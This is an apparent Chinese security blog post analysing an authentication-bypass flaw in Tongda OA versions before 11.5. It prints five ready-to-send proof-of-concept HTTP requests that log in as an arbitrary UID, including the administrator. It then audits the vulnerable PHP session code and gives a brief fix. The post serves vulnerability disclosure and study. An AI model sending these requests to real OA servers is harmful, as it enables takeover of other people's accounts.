0e0w

通达OA越权登录漏洞分析


这是一篇关于通达OA越权登录漏洞的分析文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。

关于通达OA的更多信息,请查看通达OA官网

01-漏洞概述

2020年4月中旬的时候,通达OA发布了11.5新版本。国内安全研究人员通过代码比对,发现了此漏洞。此漏洞可以越权登录任意用户账号,影响极大。

漏洞成因是由于前台登陆时未作权限验证,程序开启全局覆盖,可以直接覆盖 _SESSION 里的数据造成任意用户登陆。 服务端只取了UID来做用户身份鉴别,由于UID是整型递增ID,从而导致可以登录指定UID用户。

02-漏洞分析

  • 影响版本:通达OA2017、V11.X<V11.5
  • 发现时间:2020-04-01

一、Payload

先上payload。

11.4版poc1:

GET /general/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

11.4版poc2:

POST /logincheck_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

CODEUID=%7BF1643A67-D96F-BB39-E350-AED1A70E5FB9%7D&UID=1

2017版poc1:

GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2017版poc2:

POST //general/login_code_scan.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 94
Content-Type: application/x-www-form-urlencoded

codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D&uid=1&source=pc&type=confirm&username=admin

2017版poc3:

GET //ispirit/login_code_check.php?codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

二、代码审计

  • /logincheck_code.php:11-18行。UID通过post传参。如果CODEUID存在,则不会exit。

    $redis = TRedis::redis();
    $UID = intval($_POST["UID"]);
    $CODEUID = $_POST["CODEUID"];
    $login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID);
    if (!isset($login_codeuid) || empty($login_codeuid)) {
    	$databack = array("status" => 0, "msg" => _("参数错误!"), "url" => "general/index.php?isIE=0");
    	echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8"));
    	exit();
    
  • /logincheck_code.php:180行。UID用户可控。CODEUID用户可控。

    $LOGIN_UID = $UID;
    $LOGIN_USER_ID = $USER_ID;
    $LOGIN_BYNAME = $BYNAME;
    $LOGIN_USER_NAME = $USERNAME;
    $LOGIN_ANOTHER = "0";
    $LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER;
    $LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER);
    $LOGIN_CLIENT = 0;
    $_SESSION["LOGIN_UID"] = $LOGIN_UID;
    $_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
    
  • /logincheck_code.php:164行。通过UID的值去数据库里面去取值,

    $UID -> $query1 -> $cursor1 -> $row

    $LOGIN_FUNC_STR = "";
    $query1 = "select user_func_id_str from user_function where uid='$UID'";
    $cursor1 = exequery(TD::conn(), $query1);
      
    if ($row = mysql_fetch_array($cursor1)) {
    	$LOGIN_FUNC_STR = $row["user_
    

三、漏洞修复

不要通过用户可控的UID作为权限校验的方法。

03-参考链接

  • http://www.0e0w.com

本文为0e0w原创文章,转载参考引用时请在文章中添加本站域名(0e0w.com)信息。


相关文章

文章评论